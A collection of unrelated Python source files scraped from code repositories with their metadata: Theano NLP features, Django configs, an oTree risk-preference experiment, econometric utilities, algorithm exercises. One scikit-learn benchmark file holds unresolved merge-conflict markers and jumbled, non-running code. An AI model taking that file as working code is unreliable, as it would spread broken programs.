self.config['n_tags'], tags=article_tags): # only add first target noun features.append(self.word2id(articles[0])) x_matrix.append(features) # only store y values when we actually know them. some test data comes without. if len(sentence.classes) > 0: y_vector.append(self.classes.index(sentence.classes[k])) return np.asarray(x_matrix, dtype=np.int32), np.asarray(y_vector, dtype=np.int32) def word2id(self, word, update_vocab=False): """ Generates and retrieves the index of a given word, used for getting the corresponding embedding. """ if word not in self._word2id and update_vocab: self._word2id[word] = self.no_words self.no_words += 1 elif word not in self._word2id and not update_vocab: return self.word2id("UNK", update_vocab=True) return self._word2id[word] def negative_log_likelihood(y_pred, y): return -T.mean(T.log(y_pred)[T.arange(y.shape[0]), y]) def cross_entropy(y_pred, y): c_entrop = T.sum(T.nnet.categorical_crossentropy(y_pred, y)) return c_entrop

[ "jimmy.callin@gmail.com" ]

jimmy.callin@gmail.com

d0f8333b966b57a0edb2b0537c142c13a7cbbac7

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/Python/ErrorsAndExceptions/Exceptions/solution.py

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dev-11/HackerRankSolutions

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for i in range(int(input())): try: a,b = map(int,input().split()) print(a//b) except Exception as e: print("Error Code:",e)

[ "giotto007@gmail.com" ]

giotto007@gmail.com

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/final/general.py

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daniidega/proyecto_computacionGrafica

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2021-01-12T08:29:19.043186

2016-12-16T00:23:16

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import pygame ANCHO=800 ALTO=500 BLANCO=(255,255,255) NEGRO=(0,0,0) ROJO=(255,0,0) VERDE=(0,255,0) AZUL=(0,0,255)

[ "danii.75@utp.edu.co" ]

danii.75@utp.edu.co

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/.venv/bin/pip3

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pkunwu/whattoeat

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refs/heads/master

2023-06-21T22:16:12.260242

2021-07-22T02:15:05

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#!/home/chenliang/Documents/Programming/WhatToEat/.venv/bin/python3 # -*- coding: utf-8 -*- import re import sys from pip._internal.cli.main import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "pkunwu@gmail.com" ]

pkunwu@gmail.com

177f201e1b4fa621de91bd02b007ad83469d8818

1225f52c16125f0f5c0ef1766b5aa24d47c6e908

/crm/contacts/admin.py

25b45e4e6ae88539a3fc42f8f66739dde74bb131

[]

no_license

Edvoy/cw_crm

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refs/heads/main

2023-05-02T06:34:01.245856

2021-05-27T11:52:35

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from django.contrib import admin from .models import Contact class ContactAdmin(admin.ModelAdmin): fields = [ 'contact_first_name', 'contact_last_name', 'contact_company', 'contact_job', 'contact_email', 'contact_phone', 'contact_notes', ] admin.site.register(Contact, ContactAdmin)

[ "edouard.voyer@gmail.com" ]

edouard.voyer@gmail.com

6bb7901debec9f9ddd547ba4fb9d52462ca74c58

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/everydays/BookBeingRead/python高级编程/day12.1.py

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[]

no_license

jake20001/Hello

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refs/heads/master

2021-07-10T09:48:15.883716

2021-04-23T14:49:03

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# -*- coding:utf-8 -*- # ------------------------------- # ProjectName : autoDemo # Author : zhangjk # CreateTime : 2020/12/18 11:05 # FileName : day12.1 # Description : # -------------------------------- import os class DublinCoreAdapter(object): def __init__(self,filename): self._filename = filename def title(self): return os.path.splitext(self._filename)[0] def creater(self): return "Someone" def language(self): return ('en',) class DublinCoreInfo(object): def summary(self,dc_ob): print('Title %s'%dc_ob.title()) print('Create %s'%dc_ob.creater()) print('Languge %s'%','.join(dc_ob.language())) adapter = DublinCoreAdapter('1.txt') infos = DublinCoreInfo() infos.summary(adapter)

[ "jianke.zhang@beantechs.com" ]

jianke.zhang@beantechs.com

0ad8cf2793f9f48f35cd1dc144cabb7c55a3dbd8

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/Parking_Lot/Parking_Lot/celery.py

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[]

no_license

saurav004/ParkingLot

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refs/heads/master

2023-02-13T09:38:52.834470

2021-01-09T07:36:19

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from __future__ import absolute_import, unicode_literals import os from celery import Celery # set the default Django settings module for the 'celery' program. os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Parking_Lot.settings') app = Celery('Parking_Lot') # Using a string here means the worker doesn't have to serialize # the configuration object to child processes. # - namespace='CELERY' means all celery-related configuration keys # should have a `CELERY_` prefix. app.config_from_object('django.conf:settings', namespace='CELERY') # Load task modules from all registered Django app configs. app.autodiscover_tasks() @app.task(bind=True) def debug_task(self): print(f'Request: {self.request!r}')

[ "logtosaurav@gmail.com" ]

logtosaurav@gmail.com

1eba6ca236ff4f6105330a8c2c4442d3537a21a8

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/scripts/test_results/scikit-learn_test_results/conflicts/52_bench_sgd_covertype_actual.py

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[]

no_license

kenji-nicholson/smerge

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refs/heads/master

2020-07-22T02:32:03.579003

2018-06-08T00:40:53

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""" ================================ Covertype dataset with dense SGD ================================ Benchmark stochastic gradient descent (SGD), Liblinear, and Naive Bayes, CART (decision tree), RandomForest and Extra-Trees on the forest covertype dataset of Blackard, Jock, and Dean [1]. The dataset comprises 581,012 samples. It is low- dimensional with 54 features and a sparsity of approx. 23%. Here, we consider the task of predicting class 1 (spruce/fir). The classification performance of SGD is competitive with Liblinear while being two orders of magnitude faster to train:: [..] Classification performance: =========================== Classifier train-time test-time error-rate -------------------------------------------- Liblinear 11.8977s 0.0285s 0.2305 GaussianNB 3.5931s 0.6645s 0.6367 SGD 0.2924s 0.0114s 0.2300 CART 39.9829s 0.0345s 0.0476 RandomForest 794.6232s 1.0526s 0.0249 Extra-Trees 1401.7051s 1.1181s 0.0230 The same task has been used in a number of papers including: * `"SVM Optimization: Inverse Dependence on Training Set Size" <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.139.2112>`_ S. Shalev-Shwartz, N. Srebro - In Proceedings of ICML '08. * `"Pegasos: Primal estimated sub-gradient solver for svm" <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.74.8513>`_ S. Shalev-Shwartz, Y. Singer, N. Srebro - In Proceedings of ICML '07. * `"Training Linear SVMs in Linear Time" <www.cs.cornell.edu/People/tj/publications/joachims_06a.pdf>`_ T. Joachims - In SIGKDD '06 [1] http://archive.ics.uci.edu/ml/datasets/Covertype To run this example use your favorite python shell:: % ipython benchmark/bench_sgd_covertype.py """ from __future__ import division print __doc__ # Author: Peter Prettenhoer <peter.prettenhofer@gmail.com> # License: BSD Style. # $Id$ from time import time import os import numpy as np from sklearn.svm import LinearSVC from sklearn.linear_model import SGDClassifier from sklearn.naive_bayes import GaussianNB from sklearn.tree import DecisionTreeClassifier from sklearn.ensemble import RandomForestClassifier, ExtraTreesClassifier from sklearn.ensemble.gradient_boosting import GradientBoostingClassifier from sklearn import metrics ###################################################################### ## Download the data, if not already on disk if not os.path.exists('covtype.data.gz'): # Download the data import urllib print "Downloading data, Please Wait (11MB)..." opener = urllib.urlopen( 'http://archive.ics.uci.edu/ml/' 'machine-learning-databases/covtype/covtype.data.gz') open('covtype.data.gz', 'wb').write(opener.read()) ###################################################################### ## Load dataset print("Loading dataset...") import gzip f = gzip.open('covtype.data.gz') X = np.fromstring(f.read().replace(",", " "), dtype=np.float64, sep=" ", count=-1) X = X.reshape((581012, 55)) f.close() # class 1 vs. all others. y = np.ones(X.shape[0]) * -1 y[np.where(X[:, -1] == 1)] = 1 X = X[:, :-1] ###################################################################### ## Create train-test split (as [Joachims, 2006]) print("Creating train-test split...") idx = np.arange(X.shape[0]) np.random.seed(13) np.random.shuffle(idx) train_idx = idx[:522911] test_idx = idx[522911:] X_train = X[train_idx] y_train = y[train_idx] X_test = X[test_idx] y_test = y[test_idx] # free memory del X del y ###################################################################### ## Standardize first 10 features (the numerical ones) mean = X_train.mean(axis=0) std = X_train.std(axis=0) mean[10:] = 0.0 std[10:] = 1.0 X_train = (X_train - mean) / std X_test = (X_test - mean) / std ###################################################################### ## Print dataset statistics print("") print("Dataset statistics:") print("===================") print("%s %d" % ("number of features:".ljust(25), X_train.shape[1])) print("%s %d" % ("number of classes:".ljust(25), np.unique(y_train).shape[0])) print("%s %d (%d, %d)" % ("number of train samples:".ljust(25), X_train.shape[0], np.sum(y_train == 1), np.sum(y_train == -1))) print("%s %d (%d, %d)" % ("number of test samples:".ljust(25), X_test.shape[0], np.sum(y_test == 1), np.sum(y_test == -1))) print("") print("Training classifiers...") print("") ###################################################################### ## Benchmark classifiers def benchmark(clf): t0 = time() clf.fit(X_train, y_train) train_time = time() - t0 t0 = time() pred = clf.predict(X_test) test_time = time() - t0 err = metrics.zero_one(y_test, pred) / float(pred.shape[0]) return err, train_time, test_time ###################################################################### ## Train Liblinear model liblinear_parameters = { 'loss': 'l2', 'penalty': 'l2', 'C': 1000, 'dual': False, 'tol': 1e-3, } liblinear_res = benchmark(LinearSVC(**liblinear_parameters)) liblinear_err, liblinear_train_time, liblinear_test_time = liblinear_res ###################################################################### ## Train GaussianNB model gnb_err, gnb_train_time, gnb_test_time = benchmark(GaussianNB()) ###################################################################### ## Train SGD model sgd_parameters = { 'alpha': 0.001, 'n_iter': 2, } sgd_err, sgd_train_time, sgd_test_time = benchmark(SGDClassifier( **sgd_parameters)) ## Train CART model <<<<<<< REMOTE cart_err, cart_train_time, cart_test_time = benchmark( DecisionTreeClassifier(min_split=5, max_depth=None)) ======= ## print("Training GB model") >>>>>>> LOCAL <<<<<<< REMOTE ======= ## gb_err, gb_train_time, gb_test_time = benchmark( >>>>>>> LOCAL <<<<<<< REMOTE ###################################################################### ======= ## GradientBoostingClassifier(min_split=5, max_depth=10, n_iter=20, >>>>>>> LOCAL <<<<<<< REMOTE ## Train RandomForest model ======= ## learn_rate=.8, subsample=0.5)) >>>>>>> LOCAL <<<<<<< REMOTE print("") ======= >>>>>>> LOCAL ## print_row("GB", gb_train_time, gb_test_time, gb_err) ###################################################################### ## Print classification performance print_row("RandomForest", rf_train_time, rf_test_time, rf_err) print_row("Extra-Trees", et_train_time, et_test_time, et_err) print("Classification performance:") print("===========================") print("") def print_row(clf_type, train_time, test_time, err): print("%s %s %s %s" % (clf_type.ljust(12), ("%.4fs" % train_time).center(10), ("%.4fs" % test_time).center(10), ("%.4f" % err).center(10))) print("%s %s %s %s" % ("Classifier ", "train-time", "test-time", "error-rate")) print("-" * 44) print_row("Liblinear", liblinear_train_time, liblinear_test_time, liblinear_err) print_row("GaussianNB", gnb_train_time, gnb_test_time, gnb_err) print_row("SGD", sgd_train_time, sgd_test_time, sgd_err) print_row("CART", cart_train_time, cart_test_time, cart_err) print("") print("")

[ "srhee4@cs.washington.edu" ]

srhee4@cs.washington.edu

12036ced2dc9a7de9f3d4d79fc1ad4e7fbcbe6cd

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/trees/BST/LowestCommAncestor.py

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[ "MIT" ]

permissive

htrahddis-hub/DSA-Together-HacktoberFest

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refs/heads/main

2023-08-23T18:52:55.654386

2021-10-17T15:45:14

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2021-10-17T15:56:21

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# Link to the problem :https://practice.geeksforgeeks.org/problems/lowest-common-ancestor-in-a-bst/1# #Function to find the lowest common ancestor in a BST. # We are looking for a node which is closest to both the nodes def LCA(root, n1, n2): #code here. while(root): # If the root is greater than both nodes , then we are looking for something smaller , so go to left if(root.data > n1 and root.data > n2): root = root.left # If the root is smaller than both nodes , then we are looking for something greater than this and go to right elif(root.data < n1 and root.data < n2): root = root.right #If the root is not greater or smaller then we have found something closest to both the nodes , so returns the root else: break return root #{ # Driver Code Starts #Initial Template for Python 3 from collections import deque # Tree Node class Node: def __init__(self, val): self.right = None self.data = val self.left = None # Function to Build Tree def buildTree(s): #Corner Case if(len(s)==0 or s[0]=="N"): return None # Creating list of strings from input # string after spliting by space ip=list(map(str,s.split())) # Create the root of the tree root=Node(int(ip[0])) size=0 q=deque() # Push the root to the queue q.append(root) size=size+1 # Starting from the second element i=1 while(size>0 and i<len(ip)): # Get and remove the front of the queue currNode=q[0] q.popleft() size=size-1 # Get the current node's value from the string currVal=ip[i] # If the left child is not null if(currVal!="N"): # Create the left child for the current node currNode.left=Node(int(currVal)) # Push it to the queue q.append(currNode.left) size=size+1 # For the right child i=i+1 if(i>=len(ip)): break currVal=ip[i] # If the right child is not null if(currVal!="N"): # Create the right child for the current node currNode.right=Node(int(currVal)) # Push it to the queue q.append(currNode.right) size=size+1 i=i+1 return root if __name__=="__main__": t=int(input()) for _ in range(0,t): s=input() root=buildTree(s) n1,n2=list(map(int,input().split())) print(LCA(root,n1,n2).data); # } Driver Code Ends

[ "dsrao0712@gmail.com" ]

dsrao0712@gmail.com

617d16ab2f1dfad658507e965879e41e4d3c041c

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/build/lib/hetsar/utils.py

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ida-j/hetsar

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refs/heads/main

2023-06-07T23:10:44.782865

2021-06-21T16:15:01

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import numpy as np import pandas as pd def fn_significance_stars(zscore): if np.abs(zscore)>=2.58: return '***' elif np.abs(zscore)<2.58 and np.abs(zscore)>=1.96: return '**' elif np.abs(zscore)<1.96 and np.abs(zscore)>=1.65: return '*' else: return '' def fn_add_lags(df,idvar,timevar,varlist,lagorders): """ :param df: :param idvar: :param timevar: :param varlist: :param lagorders: :return: """ dfl = df.set_index([idvar,timevar]) for lag in lagorders: df_lagged = dfl.groupby(level = [0])[varlist].shift(lag).reset_index().\ rename(columns = {'y':f'y_l{lag}','x':f'x_l{lag}'}) df = df.merge(df_lagged, on = [idvar,timevar]).dropna() return df.reset_index(drop = True) def fn_inv_partitioned_a(invA,m_B,m_C,m_D): m_C_invA = m_C@invA m_E = m_D - m_C_invA@m_B invE = np.linalg.inv(m_E) m_invA_B_invE = invA@m_B@invE invH11 = invA + (m_invA_B_invE @ m_C_invA); invH12 = -m_invA_B_invE; invH21 = -invE @ m_C_invA; invH22 = invE; row1 = np.concatenate((invH11, invH12),axis = 1) row2 = np.concatenate((invH21, invH22),axis = 1) invH = np.concatenate((row1,row2),axis = 0) return invH def fn_inv_partitioned_b(m_A,m_B,m_C,invD): m_B_invD = m_B @ invD; m_F = m_A - (m_B_invD @ m_C); invF = np.linalg.inv(m_F); m_invD_C_invF = invD @ m_C @ invF; invH11 = invF; invH12 = -invF @ m_B_invD; invH21 = -m_invD_C_invF; invH22 = invD + (m_invD_C_invF @ m_B_invD); row1 = np.concatenate((invH11, invH12),axis = 1) row2 = np.concatenate((invH21, invH22),axis = 1) invH = np.concatenate((row1,row2),axis = 0) return invH def fn_varml_sandwich_Npsi_NKbeta_Nsgmsq(v_theta,m_y,m_ys,a_x,m_W): N,T,K = a_x.shape v_psi = v_theta[:N,0].reshape(N,1) v_beta = v_theta[N:(N+K*N),0].reshape(N*K,1) v_sgmsq = v_theta[(N+K*N):,0].reshape(N,1) # m_beta = v_beta.reshape([N,K], order = 'F') m_beta = v_beta.reshape([N,K], order = 'C') v_sgm4h = v_sgmsq**2 v_sgm6h = v_sgmsq**3 a_x2 = np.transpose(a_x,(0,2,1)) m_beta2 = m_beta[:,:,np.newaxis] m_beta_x = m_beta2*a_x2 m_beta_x2 = np.transpose(m_beta_x,(0,2,1)) m_beta_x_sum = np.sum(m_beta_x2,2) # residuals m_eps = m_y-v_psi*m_ys-m_beta_x_sum m_epssq = m_eps**2 v_ssr = np.sum(m_eps**2,1).reshape(N,1) sssr = np.sum(v_ssr/v_sgmsq) m_Psi = v_psi * np.identity(len(v_psi)) m_A = np.identity(N)-m_Psi@m_W det_mA= np.linalg.det(m_A) if det_mA<=0: print('Error: determinant(A)<=0!') m_Q = m_W@np.linalg.inv(m_A) m_H11 = m_Q*np.transpose(m_Q) + np.diag(np.sum(m_ys**2,1))/(T*v_sgmsq) m_H13a = np.sum(m_ys*m_eps,1).reshape(N,1)/(T*v_sgm4h) m_H13 = m_H13a*np.identity(len(m_H13a)) m_H33a = -(0.5/v_sgm4h)+(v_ssr/v_sgm6h)/T m_H33 = m_H33a*np.identity(len(m_H33a)) m_H12 = np.zeros([N,N*K]) invH22 = np.zeros([N*K,N*K]) m_H23 = np.zeros([N*K,N]) for i in range(N): ind = (i * K + 1,(i+1) * K) v_ysi = m_ys[i,:].reshape(T,1) m_Xi = a_x[i,:,:] # TxK v_epsi = m_eps[i,:].reshape(T,1) sgmsqi = v_sgmsq[i,0] sgm4hi = v_sgm4h[i,0] m_H12[i,ind[0]-1:ind[1]] = np.transpose(v_ysi)@m_Xi/sgmsqi/T invH22[ind[0]-1:ind[1],ind[0]-1:ind[1]] = np.linalg.inv(np.transpose(m_Xi)@m_Xi)*sgmsqi*T m_H23[ind[0]-1:ind[1],i] = np.transpose(np.transpose(m_Xi)@v_epsi/sgm4hi/T) m_Z11 = m_H11; m_Z12 = np.concatenate((m_H12,m_H13),axis = 1) invZ22 = fn_inv_partitioned_a(invH22,m_H23,np.transpose(m_H23),m_H33) invH = fn_inv_partitioned_b(m_Z11, m_Z12, np.transpose(m_Z12), invZ22) # J matrix v_q = np.diag(m_Q).reshape(N,1) m_dlogft_dvpsi = (m_ys*m_eps/v_sgmsq) - v_q v_dlogft_dvsgmsq = (m_epssq/v_sgm4h/2) - 0.5/v_sgmsq a_dlogft_dvbeta = m_eps.reshape(N,T,1)*a_x/v_sgmsq.reshape(N,1,1) m_dlogft_dvbeta = np.zeros([K*N,T]) for i in range(N): ind = (i * K + 1,(i+1) * K) m_dlogft_dvbeta[ind[0]-1:ind[1],:] = np.transpose(a_dlogft_dvbeta[i,:,:]) m_dlogft_dvtheta = np.concatenate((m_dlogft_dvpsi,m_dlogft_dvbeta,v_dlogft_dvsgmsq)) m_J = (m_dlogft_dvtheta@np.transpose(m_dlogft_dvtheta))/T # standard variance v_var0 = np.diag(invH)/T v_var = v_var0.reshape(len(v_var0),1) m_variance = np.zeros([N,K+2]) for i in [0,K+1]: m_variance[:,i] = v_var[i*N:(i+1)*N,0] for k_val in range(K): i = 1 m_variance[:,i+k_val] = v_var[[j+k_val for j in range(i*N+i-1,(i+K)*N+i-1,K)],0] # sandwich variance m_invH_J_invH = invH@m_J@invH v_var0 = np.diag(m_invH_J_invH)/T v_var = v_var0.reshape(len(v_var0),1) m_sandwich = np.zeros([N,K+2]) for i in [0,K+1]: m_sandwich[:,i] = v_var[i*N:(i+1)*N,0] for k_val in range(K): i = 1 m_sandwich[:,i+k_val] = v_var[[j+k_val for j in range(i*N+i-1,(i+K)*N+i-1,K)],0] return (m_variance,m_sandwich) def format_output(res,N,T,K,var,var_sand,dep_var,exog_labels,id_var): res_psi = res.x[:N].reshape([N,1]) res_beta = res.x[N:(K+1)*N].reshape([N,K],order = 'C') res_sigma = res.x[(K+1)*N:].reshape([N,1]) data_r = np.concatenate([res_psi,res_beta,res_sigma],axis = 1) dim_exog = res_beta.shape[1] if exog_labels==None: exog_labels = ['x{}'.format(i) for i in range(dim_exog)] else: if len(exog_labels)!=dim_exog: print('Wrong number of labels for exogenous covariates, using default labels') exog_labels = ['x{}'.format(i) for i in range(dim_exog)] colnames = [f'W{dep_var}'] + exog_labels + ['sgmsq'] df_r = pd.DataFrame(data=data_r,columns = colnames) for i in range(len(colnames)): df_r['var_{}'.format(colnames[i])] = var[:,i] df_r['var_sandw_{}'.format(colnames[i])] = var_sand[:,i] df_r.insert(0, id_var, [i for i in range(1,N+1)]) return df_r # mean-group estimator def fn_mg_est(df_theta,var_hat,group): countN = df_theta[[group,var_hat]].groupby(group).count().reset_index().rename(columns = {var_hat:'N'}) df_mg = df_theta[[var_hat,group]].groupby(group).mean().reset_index().rename(columns = {var_hat:'var_hat_mg'}) df_est2 = df_theta[[var_hat,group]].merge(df_mg[[group,'var_hat_mg']],on = group,how = 'left').\ rename(columns = {var_hat:'var_hat'}) df_est2['sq_er'] = (df_est2.var_hat-df_est2.var_hat_mg)**2 df_sgm = df_est2[[group,'sq_er']].groupby(group).sum().reset_index().\ merge(countN,on = group) df_sgm['s_{}_mg'.format(var_hat)] = np.sqrt(df_sgm.sq_er/(df_sgm.N*(df_sgm.N-1))) return df_sgm.merge(df_mg[['var_hat_mg',group]],on = group).\ rename(columns = {'var_hat_mg':'{}_mg'.format(var_hat)})[[group,'s_{}_mg'.format(var_hat),'{}_mg'.format(var_hat)]] def fn_mg_bias_rmse_size(df_results,var_hat,var0,N,cval = 1.96): df_est = df_results[[var_hat,'r','N']].rename(columns = {var_hat:'var_hat'}) df_est['var0'] = var0 res_mean = df_est[['var_hat','var0','r']].groupby('r').mean().reset_index() res_mean['bias'] = res_mean['var_hat']-res_mean['var0'] res_mean = res_mean.rename(columns = {'var_hat':'var_hat_mg'}) res_mean['rmse'] = (res_mean['var_hat_mg']-res_mean['var0'])**2 bias_r = res_mean.mean().bias rmse_r = (res_mean.mean().rmse)**(1/2) df_est2 = df_est.merge(res_mean[['r','var_hat_mg']],on = 'r',how = 'left') df_est2['sq_er'] = (df_est2.var_hat-df_est2.var_hat_mg)**2 df_sgm = df_est2[['r','sq_er']].groupby('r').sum().reset_index() df_sgm['s2_r'] = df_sgm.sq_er/(N*(N-1)) df_sgm['s'] = np.sqrt(df_sgm.s2_r) df_sgm2 = df_sgm.merge(res_mean[['r','var_hat_mg']],on = 'r',how = 'left') df_sgm2['var0'] = var0 df_sgm2['t']= (df_sgm2.var_hat_mg-df_sgm2.var0)/df_sgm2.s df_sgm2['size'] = 1*(np.abs(df_sgm2.t)>cval) size_r = df_sgm2.mean()['size'] return (bias_r,rmse_r,size_r)

[ "ida.b.johnsson@gmail.com" ]

ida.b.johnsson@gmail.com

0825d679a4a233d1b744c5a713dd44acfafe47e4

4e8b2390820525051aaca421e657b4bbb7c86eb2

/querysys/url.py

26479b9e915c2788199e20bb841a6ac135cfa39f

[]

no_license

HandsomeCodeMan123/StudentManage

837a461ee08db16d59b7117d4a4ba7d75b5f2fb9

7560aaf97e3442d1e682d9b7e64b162856552321

refs/heads/master

2023-04-01T18:44:43.839067

2021-04-01T13:53:03

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py

from django.urls import path from querysys.views import index,addstudent urlpatterns = [ path('index/', index), path('addstudent/', addstudent), ]

[ "291882490@qq.com" ]

291882490@qq.com

516ddce9995ee16a9c3d14b282864b36283da25f

0805420ce1890c36aa9e0cc1a782945464433ef6

/client/eve/common/lib/eveLocalization/__init__.py

a26d9acf4f873ae1332caf2913e0b18ee75e8119

[]

no_license

cnrat/dec-eve-serenity

4ebc3b2ab8faa6e6714dbb72b7ebcf92c4b2d75c

37519e66a5fbb0d7c417d5cf9778636991efbed8

refs/heads/master

2021-01-21T03:39:48.969227

2016-08-10T05:25:07

null

0

null

UTF-8

Python

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py

# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\common\lib\eveLocalization\__init__.py from _evelocalization import *

[ "victorique.de.blois@asu.edu" ]

victorique.de.blois@asu.edu

db704e6bc73086f4b513638afc26cfca69671862

4618c0152d45bcb5f54e298661a1479c643353f4

/pyengine/api/v1/GetProductDetail.py

d47126c2ec1ccde23882d215ccd30c526680ccaf

[]

no_license

pyengine/catalog

07312fb7606f6ff0b7e55359740af4a4e5d509f4

2403563c1f93d988466a12b870ce25475b0d1d92

refs/heads/master

2021-01-10T04:47:24.200088

2016-04-13T15:04:47

55,772,134

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UTF-8

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from pyengine.lib.error import * from pyengine.lib.command import Command class GetProductDetail(Command): # Request Parameter Info req_params = { 'uuid': ('r', 'str'), } def __init__(self, api_request): super(self.__class__, self).__init__(api_request) def execute(self): mgr = self.locator.getManager('ProductManager') info = mgr.getProductDetail(self.params) return info.result()

[ "choonho.son@gmail.com" ]

choonho.son@gmail.com

3122c5bca375e6b689e28626fa6ed0dc01866f47

cc0433023de4c8300770e5a645e204781c299a90

/models.py

53abe067a7c5887ebfb4cd0ab84d8fbc6555edb8

[]

no_license

ahmedsalimnuhu/Risk-preferences-python-codes

5e47783db09de415ffa64c546d33a864567ad169

eee933ffffc30d8770bd8e47874fbb35be395d54

refs/heads/master

2022-11-27T22:05:13.524564

2020-08-07T17:20:30

null

0

null

UTF-8

Python

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10,792

py

from otree.api import ( models, widgets, BaseConstants, BaseSubsession, BaseGroup, BasePlayer #Currency as c, currency_range ) from risk.config import * import random from random import randrange author = 'Salim Nuhu' doc = """ Certainty equivalent method as proposed by Cohen et al. (1987) and Abdellaoui et al. (2011), as well as variations thereof suggested by Bruner (2009) and Gächter et al. (2010). """ # ******************************************************************************************************************** # # *** CLASS SUBSESSION # ******************************************************************************************************************** # class Subsession(BaseSubsession): # initiate lists before session starts in round 1 # ---------------------------------------------------------------------------------------------------------------- def creating_session(self): if self.round_number == Constants.num_rounds: #self.session.config['REAL_WORLD_CURRENCY_CODE'] = Constants.KSH vchoice = random.choice(Constants.coin) self.session.vars['vchoice'] = vchoice if self.round_number == 1: n = Constants.num_choices for p in self.get_players(): # create list of lottery indices # ---------------------------------------------------------------------------------------------------- indices = [j for j in range(1, n + 1)] # create list corresponding to form_field variables including all choices # ---------------------------------------------------------------------------------------------------- form_fields = ['choice_' + str(k) for k in indices] # create list of probabilities # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'probability': probabilities = [Constants.probability + (k - 1) * Constants.step_size for k in indices] else: probabilities = [Constants.probability for k in indices] # create list of high lottery payoffs # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'lottery_hi': lottery_hi = [(Constants.lottery_hi + (k - 1) * Constants.step_size) for k in indices] else: lottery_hi = [(Constants.lottery_hi) for k in indices] # create list of low lottery payoffs # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'lottery_lo': lottery_lo = [(Constants.lottery_lo - (k - 1) * Constants.step_size) for k in indices] else: lottery_lo = [(Constants.lottery_lo) for k in indices] # create list of sure payoffs # ---------------------------------------------------------------------------------------------------- if Constants.variation == 'sure_payoff': sure_payoffs = [(Constants.sure_payoff + (k - 1) * Constants.step_size) for k in indices] else: sure_payoffs = [(Constants.sure_payoff) for k in indices] # create list of choices # ---------------------------------------------------------------------------------------------------- p.participant.vars['cem_choices'] = list( zip( indices, form_fields, probabilities, lottery_hi, lottery_lo, sure_payoffs ) ) # randomly determine index/choice of binary decision to pay # ---------------------------------------------------------------------------------------------------- p.participant.vars['cem_index_to_pay'] = random.choice(indices) p.participant.vars['cem_choice_to_pay'] = 'choice_' + str(p.participant.vars['cem_index_to_pay']) # randomize order of lotteries if <random_order = True> # ---------------------------------------------------------------------------------------------------- if Constants.random_order: random.shuffle(p.participant.vars['cem_choices']) # initiate list for choices made # ---------------------------------------------------------------------------------------------------- p.participant.vars['cem_choices_made'] = [None for j in range(1, n + 1)] # generate random switching point for PlayerBot in tests.py # -------------------------------------------------------------------------------------------------------- for participant in self.session.get_participants(): participant.vars['cem-bot_switching_point'] = random.randint(1, n) # ******************************************************************************************************************** # # *** CLASS GROUP # ******************************************************************************************************************** # class Group(BaseGroup): pass # ******************************************************************************************************************** # # *** CLASS PLAYER # ******************************************************************************************************************** # class Player(BasePlayer): # add model fields to class player # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: for j in range(1, Constants.num_choices + 1): locals()['choice_' + str(j)] = models.StringField() del j random_draw = models.IntegerField() choice_to_pay = models.StringField() option_to_pay = models.StringField() inconsistent = models.IntegerField() switching_row = models.IntegerField() name = models.StringField( label=''' Name''', ) company = models.StringField( label=''' Name of the firm you represent''', ) position = models.StringField( label=''' Your role in the company''', ) age = models.IntegerField( label='Age', min=18, max=125) gender = models.StringField( choices=['Male', 'Female'], label='Gender', widget=widgets.RadioSelect ) educ = models.StringField( choices=['Not Gone to School', 'Primary', 'Secondary', 'Diploma(Including Nursing, Vocational and Teaching Diploma)', 'University Degree', 'Postgraduate Degree', 'Doctorate'], label=''' What is the highest level of education you have completed? ''', widget=widgets.RadioSelect ) county = models.StringField( label=''' In which county is your company/organization located ''' ) product = models.StringField( label=''' What is your organization's main product (focus area if NGO)? ''' ) # set player's payoff # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: def set_payoffs(self): # random draw to determine whether to pay the "high" or "low" outcome of the randomly picked lottery # ------------------------------------------------------------------------------------------------------------ self.random_draw = randrange(1, 100) # set <choice_to_pay> to participant.var['choice_to_pay'] determined creating_session # ------------------------------------------------------------------------------------------------------------ self.choice_to_pay = self.participant.vars['cem_choice_to_pay'] # determine whether the lottery (option "A") or the sure payoff (option "B") was chosen # ------------------------------------------------------------------------------------------------------------ self.option_to_pay = getattr(self, self.choice_to_pay) # set player's payoff # ------------------------------------------------------------------------------------------------------------ indices = [list(t) for t in zip(*self.participant.vars['cem_choices'])][0] index_to_pay = indices.index(self.participant.vars['cem_index_to_pay']) + 1 choice_to_pay = self.participant.vars['cem_choices'][index_to_pay - 1] if self.option_to_pay == 'A': if self.random_draw <= choice_to_pay[2]: self.payoff = Constants.endowment + choice_to_pay[3] else: self.payoff = Constants.endowment + choice_to_pay[4] else: self.payoff = Constants.endowment + choice_to_pay[5] # set payoff as global variable # ------------------------------------------------------------------------------------------------------------ self.participant.vars['cem_payoff'] = self.payoff # determine consistency # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: def set_consistency(self): n = Constants.num_choices # replace A's by 1's and B's by 0's self.participant.vars['cem_choices_made'] = [ 1 if j == 'A' else 0 for j in self.participant.vars['cem_choices_made'] ] # check for multiple switching behavior for j in range(1, n): choices = self.participant.vars['cem_choices_made'] self.inconsistent = 1 if choices[j] > choices[j - 1] else 0 if self.inconsistent == 1: break # determine switching row # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: def set_switching_row(self): # set switching point to row number of first 'B' choice if self.inconsistent == 0: self.switching_row = sum(self.participant.vars['cem_choices_made']) + 1

[ "noreply@github.com" ]

noreply@github.com

85349b427bd1ddd389ed5a26358d73ea6ac2bbe1

535f2c4632a0c228b4de75f796c9ecead38a1981

/post/migrations/0006_rename_action_post_active.py

8257b6648e8c419ea54d9ab401d8069c2e16b207

[]

no_license

XavierLarrea/django-multi-language-blog

d0b54a16a34604c8d4fe65c7472d32dc05a6df1d

af9f53a439d979aeddeb316a55f132c8efb32631

refs/heads/main

2023-07-15T20:04:44.388310

2021-08-24T23:33:33

